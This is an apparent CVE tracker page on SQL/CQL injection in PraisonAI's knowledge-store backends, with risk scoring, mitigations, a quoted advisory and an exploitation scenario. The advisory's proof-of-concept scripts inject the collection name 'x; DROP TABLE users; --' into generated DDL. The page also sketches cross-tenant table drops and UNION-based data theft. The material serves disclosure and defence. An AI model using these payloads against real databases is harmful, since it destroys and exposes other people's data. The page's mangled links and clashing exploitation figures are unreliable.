CVE-2026-44337: PraisonAI: SQL/CQL injection in knowledge-store backends

GHSA-3643-7v76-5cj2 MEDIUM CISA: TRACK*
Published May 11, 2026
CISO Take

PraisonAI's optional persistence backends (pgvector, Cassandra, SingleStore) build SQL and CQL identifiers by interpolating unvalidated, user-controlled collection names directly into query text, enabling classic injection attacks. Any application that passes untrusted input — such as user-defined workspace names or API-supplied collection identifiers — into PraisonAI's KnowledgeStore interface is exposed to unauthorized data access, data destruction, or schema manipulation across all eight knowledge-store methods. Despite a low raw EPSS score of 0.00065, the CVE sits in the top 80th percentile for exploitation likelihood, and a working proof-of-concept demonstrating a DROP TABLE gadget is already included in the public advisory. A fix landed in 4.6.34; patch immediately, and as an interim control restrict collection names to alphanumeric characters and underscores — the same guard already present in PraisonAI's own conversation persistence layer.

Sources: NVD EPSS GitHub Advisory ATLAS

What is the risk?

Medium risk overall (CVSS 6.3), but with elevated real-world exposure for multi-tenant AI agent platforms. Exploitability is trivial — the injection pattern is well-understood and a PoC is public — making the primary constraint the degree to which downstream applications surface collection naming to untrusted callers. PraisonAI has no confirmed built-in HTTP endpoint that natively forwards external input into these persistence methods, limiting out-of-box remote exploitation. However, AI agent platforms commonly expose dynamic workspace or collection naming to end users, and the vulnerability spans over two years of releases (2.4.1 through 4.6.33). No active exploitation or KEV listing, but the trivial difficulty and long exposure window raise the operational risk above what the CVSS score alone suggests.

How does the attack unfold?

Initial Access
Adversary obtains authenticated or API-level access to a PraisonAI application that exposes collection name parameters to user-controlled input.
AML.T0049
Injection Crafting
Adversary crafts a malicious collection name embedding SQL or CQL syntax (e.g., 'x; DROP TABLE users; --') and submits it to any KnowledgeStore method such as delete_collection() or search().
AML.T0053
Database Execution
PraisonAI interpolates the unvalidated name directly into a query string; the pgvector, Cassandra, or SingleStore backend executes the injected SQL or CQL commands without restriction.
AML.T0037
Impact
Attacker achieves unauthorized data exfiltration, cross-tenant knowledge base access, or irreversible collection destruction via DDL injection, potentially extending to other database tables within the same schema.
AML.T0101

What systems are affected?

Package Ecosystem Vulnerable Range Patched
PraisonAI pip >= 2.4.1, <= 4.6.33 4.6.34
1 dependents 83% patched ~0d to patch Full package profile →

Do you use PraisonAI? You're affected.

How severe is it?

CVSS 3.1
6.3 / 10
EPSS
0.2%
chance of exploitation in 30 days
Higher than 12% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR Low
UI None
S Unchanged
C Low
I Low
A Low

What should I do?

4 steps
  1. Patch: Upgrade praisonai to 4.6.34 or later immediately.

  2. Workaround: If patching is not immediately possible, validate all collection names before passing them to any KnowledgeStore method — enforce the alphanumeric-plus-underscore pattern already used by validate_identifier() in persistence/conversation/base.py.

  3. Detection: Audit application code for any code path where external or user-supplied input reaches KnowledgeStore.create_collection(), delete_collection(), search(), insert(), upsert(), get(), delete(), or count(). Review database query logs for anomalous DDL statements (DROP TABLE, CREATE TABLE, DROP INDEX) appearing within knowledge-store query patterns.

  4. Least privilege: Ensure database credentials used by PraisonAI are scoped to DML on application tables only — no DDL, no TRUNCATE, no cross-schema access — to limit blast radius if injection is triggered.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 10 - Data and data governance Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
6.1.2 - AI risk assessment 8.4 - Data for AI systems A.6.2.5 - AI system security and resilience
NIST AI RMF
MANAGE 2.4 - Mechanisms to prevent and mitigate attacks on AI systems MAP 5.1 - Likelihood of adversarial attacks MEASURE 2.6 - Security and resilience testing
OWASP LLM Top 10
LLM08 - Vector and Embedding Weaknesses LLM08:2025 - Vector and Embedding Weaknesses

Frequently Asked Questions

What is CVE-2026-44337?

PraisonAI's optional persistence backends (pgvector, Cassandra, SingleStore) build SQL and CQL identifiers by interpolating unvalidated, user-controlled collection names directly into query text, enabling classic injection attacks. Any application that passes untrusted input — such as user-defined workspace names or API-supplied collection identifiers — into PraisonAI's KnowledgeStore interface is exposed to unauthorized data access, data destruction, or schema manipulation across all eight knowledge-store methods. Despite a low raw EPSS score of 0.00065, the CVE sits in the top 80th percentile for exploitation likelihood, and a working proof-of-concept demonstrating a DROP TABLE gadget is already included in the public advisory. A fix landed in 4.6.34; patch immediately, and as an interim control restrict collection names to alphanumeric characters and underscores — the same guard already present in PraisonAI's own conversation persistence layer.

Is CVE-2026-44337 actively exploited?

No confirmed active exploitation of CVE-2026-44337 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-44337?

1. Patch: Upgrade praisonai to 4.6.34 or later immediately. 2. Workaround: If patching is not immediately possible, validate all collection names before passing them to any KnowledgeStore method — enforce the alphanumeric-plus-underscore pattern already used by validate_identifier() in persistence/conversation/base.py. 3. Detection: Audit application code for any code path where external or user-supplied input reaches KnowledgeStore.create_collection(), delete_collection(), search(), insert(), upsert(), get(), delete(), or count(). Review database query logs for anomalous DDL statements (DROP TABLE, CREATE TABLE, DROP INDEX) appearing within knowledge-store query patterns. 4. Least privilege: Ensure database credentials used by PraisonAI are scoped to DML on application tables only — no DDL, no TRUNCATE, no cross-schema access — to limit blast radius if injection is triggered.

What systems are affected by CVE-2026-44337?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines, agent frameworks, vector databases, knowledge bases.

What is the CVSS score for CVE-2026-44337?

CVE-2026-44337 has a CVSS v3.1 base score of 6.3 (MEDIUM). The EPSS exploitation probability is 0.22%.

What is the AI security impact?

Affected AI Architectures

RAG pipelinesagent frameworksvector databasesknowledge bases

MITRE ATLAS Techniques

AML.T0037 Data from Local System
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation
AML.T0085.000 RAG Databases
AML.T0101 Data Destruction via AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 10, Article 15, Article 9
ISO 42001: 6.1.2, 8.4, A.6.2.5
NIST AI RMF: MANAGE 2.4, MAP 5.1, MEASURE 2.6
OWASP LLM Top 10: LLM08, LLM08:2025

What are the technical details?

Original Advisory

### Summary PraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection. ### Details This issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112): - `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162) - `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170) - `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186) The common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them. Representative sinks: - `SingleStoreVectorKnowledgeStore` builds `table_name = f"{self.table_prefix}{name}"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`. - `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82). - `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73). There is already an internal identifier validator in the conversation persistence layer: - `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18) That validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends. Version scope: - `pgvector.py` and `cassandra.py` were already present by `v2.4.1` - `singlestore_vector.py` was present by `v2.4.3` - the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present Scope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends. ### PoC The following local reproductions show that attacker-controlled collection names become part of the executed SQL text. 1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") ss = load("praisonai.persistence.knowledge.singlestore_vector", base / "knowledge" / "singlestore_vector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) store = ss.SingleStoreVectorKnowledgeStore() store._initialized = True store._conn = FakeConn() store.delete_collection("x; DROP TABLE users; --") print(store._conn.calls[-1][0].strip()) PY ``` Observed result: ```text DROP TABLE IF EXISTS praisonai_x; DROP TABLE users; -- ``` 2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction: ```bash python3 - <<'PY' import importlib.util import pathlib import sys import types base = pathlib.Path("scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence") mods = { "praisonai": types.ModuleType("praisonai"), "praisonai.persistence": types.ModuleType("praisonai.persistence"), "praisonai.persistence.knowledge": types.ModuleType("praisonai.persistence.knowledge"), } for k, v in mods.items(): v.__path__ = [] sys.modules[k] = v def load(name, path): spec = importlib.util.spec_from_file_location(name, path) mod = importlib.util.module_from_spec(spec) sys.modules[name] = mod spec.loader.exec_module(mod) return mod load("praisonai.persistence.knowledge.base", base / "knowledge" / "base.py") psycopg2 = types.ModuleType("psycopg2") extras = types.ModuleType("psycopg2.extras") pool = types.ModuleType("psycopg2.pool") class DummyPool: def __init__(self, *a, **k): pass def getconn(self): return None def putconn(self, c): pass pool.ThreadedConnectionPool = DummyPool extras.RealDictCursor = object psycopg2.pool = pool sys.modules["psycopg2"] = psycopg2 sys.modules["psycopg2.pool"] = pool sys.modules["psycopg2.extras"] = extras pg = load("praisonai.persistence.knowledge.pgvector", base / "knowledge" / "pgvector.py") class FakeCursor: def __init__(self, parent): self.parent = parent def execute(self, query, params=None): self.parent.calls.append((query, params)) def __enter__(self): return self def __exit__(self, *args): return False class FakeConn: def __init__(self): self.calls = [] def cursor(self): return FakeCursor(self) def commit(self): pass store = pg.PGVectorKnowledgeStore(auto_create_extension=False) conn = FakeConn() store._get_conn = lambda: conn store._put_conn = lambda c: None store.create_collection("x; DROP TABLE users; --", 3) for query, _ in conn.calls: print(query.strip()) PY ``` Observed result includes: ```text CREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- ( CREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding ``` The Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements. ### Impact This issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them. Potential impact depends on backend and driver behavior, but includes: - malformed queries and backend errors - access to unintended tables or indexes - execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape I did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.

Exploitation Scenario

An adversary targeting a multi-tenant AI agent platform built on PraisonAI registers a workspace or collection named 'legitimate_name; DROP TABLE praison_vec_tenant_b; --'. When the application calls delete_collection() or any other KnowledgeStore method with this name, the resulting SQL executes the DROP TABLE command against the backend database, destroying another tenant's knowledge collection. In a data-theft variant, the attacker uses a SELECT-based UNION payload in the collection name to exfiltrate embeddings and associated document text from another tenant's corpus, bypassing application-layer access controls that rely on collection naming for tenant isolation. Against the Cassandra backend, equivalent CQL injection enables the same attacks at keyspace scope.

Weaknesses (CWE)

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

  • [Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • [Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Timeline

Published
May 11, 2026
Last Modified
May 11, 2026
First Seen
May 11, 2026

Related Vulnerabilities